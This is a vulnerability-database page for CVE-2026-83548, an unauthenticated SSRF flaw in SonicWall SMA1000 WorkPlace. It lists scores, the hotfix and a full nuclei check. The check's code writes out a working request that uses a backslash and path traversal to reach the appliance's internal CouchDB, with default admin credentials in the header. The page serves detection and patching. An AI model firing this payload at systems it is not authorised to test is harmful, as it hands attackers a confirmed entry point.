HexBrain

Browse / CVEs / CVE-2026-83548

CVE-2026-83548· sonicwall / sma1000· CWE-918

SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB

Exploited in the wild. Listed by CISA on 2026-09-02; known to be used by ransomware.

criticalseverity
10CVSS score
8%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path.

Impact

A remote unauthenticated attacker could potentially exploit this vulnerability to gain unauthorized access to sensitive functionality and perform unauthorized operations.

Fix

Apply SonicWall platform hotfix 12.4.3-03526 (12.4.x) or 12.5.0-02952 (12.5.x) immediately.

How to confirm it

Positive when: contains "VULNERABLE CVE-2026-83548" AND contains "method_not_allowed" AND success == true

Run it with nuclei: nuclei -id CVE-2026-83548 -u <target>

The full check
id: CVE-2026-83548

info:
  name: SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB
  author: rapid7,DhiyaneshDk
  severity: critical
  description: |
    A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path.
  impact: |
    A remote unauthenticated attacker could potentially exploit this vulnerability to gain unauthorized access to sensitive functionality and perform unauthorized operations.
  remediation: |
    Apply SonicWall platform hotfix 12.4.3-03526 (12.4.x) or 12.5.0-02952 (12.5.x) immediately.
  reference:
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0016
    - https://www.sonicwall.com/support/notices/product-notice-sma-1000-series-affected-by-multiple-vulnerabilities-snwlid-2026-0016/kA1VN000002AXmQ0AW
    - https://software.sonicwall.com/PFORMSMAHOTFIX/Documentation/TechNotepform-hotfix-12.5.0-02952.txt
    - https://www.rapid7.com/blog/post/etr-critical-sonicwall-sma1000-vulnerabilities-cve-2026-83548-cve-2026-83549-exploited-in-the-wild/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-83548
    epss-score: 0.08043
    epss-percentile: 0.94833
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: sonicwall
    product: sma1000
    shodan-query: html:"WorkPlace" html:"sonicwall"
    fofa-query: body="WorkPlace" html:"sonicwall"
  tags: cve,cve2026,sonicwall,sma,sma1000,ssrf,rce,workplace,couchdb,vkev,kev

javascript:
  - code: |
      const c = require("nuclei/net");

      // Random path components bypass any caching or WAF pattern matching
      let r1 = Math.random().toString(16).substring(2, 10);
      let r2 = Math.random().toString(16).substring(2, 10);

      // Absolute-form URI with backslash: WorkPlace proxies this to loopback CouchDB:5984
      // The path traversal ../../_up reaches CouchDB's health endpoint
      let path = "http://127.0.0.1:5984/__EXTRAWEB__TRANSLATE/" + r1 + "\\" + r2 + "/../../_up";

      let request = "OPTIONS " + path + " HTTP/1.1\r\n" +
        "Host: " + Addr + "\r\n" +
        "Origin: https://" + Host + "\r\n" +
        "Access-Control-Request-Method: GET\r\n" +
        "Authorization: Basic YWRtaW46YWRtaW4=\r\n" +
        "Content-Type: application/json\r\n" +
        "Connection: close\r\n" +
        "\r\n";

      let statusCode = 0;
      let body = "";
      let serverHeader = "";

      try {
        let conn = c.OpenTLS("tcp", Addr);
        conn.Send(request);
        let response = conn.RecvFullString(8192);
        conn.Close();

        // Parse HTTP status code from response line
        let statusMatch = response.match(/HTTP\/\d+\.\d+\s+(\d+)/);
        if (statusMatch) {
          statusCode = parseInt(statusMatch[1]);
        }

        // Extract Server header
        let serverMatch = response.match(/[Ss]erver:\s*([^\r\n]+)/);
        if (serverMatch) {
          serverHeader = serverMatch[1].trim();
        }

        // Extract body (content after the blank line separating headers from body)
        let bodyStart = response.indexOf("\r\n\r\n");
        if (bodyStart > -1) {
          body = response.substring(bodyStart + 4).trim();
        }
      } catch(e) {
        body = "connection_error:" + e;
      }

      // Detection: CouchDB returns 405 method_not_allowed when OPTIONS hits a GET-only endpoint
      let isVulnerable = (statusCode === 405 && body.indexOf("method_not_allowed") > -1);

      if (isVulnerable) {
        Export("VULNERABLE CVE-2026-83548 status=" + statusCode + " server=" + serverHeader + " body=" + body);
      } else {
        Export("NOT_VULNERABLE status=" + statusCode + " server=" + serverHeader + " body=" + body.substring(0, 120));
      }

    args:
      Host: "{{Host}}"
      Port: 443
      Addr: "{{Hostname}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "VULNERABLE CVE-2026-83548"

      - type: word
        words:
          - "method_not_allowed"

      - type: dsl
        dsl:
          - "success == true"

References

Use this check only on systems you are authorised to test. Where the data comes from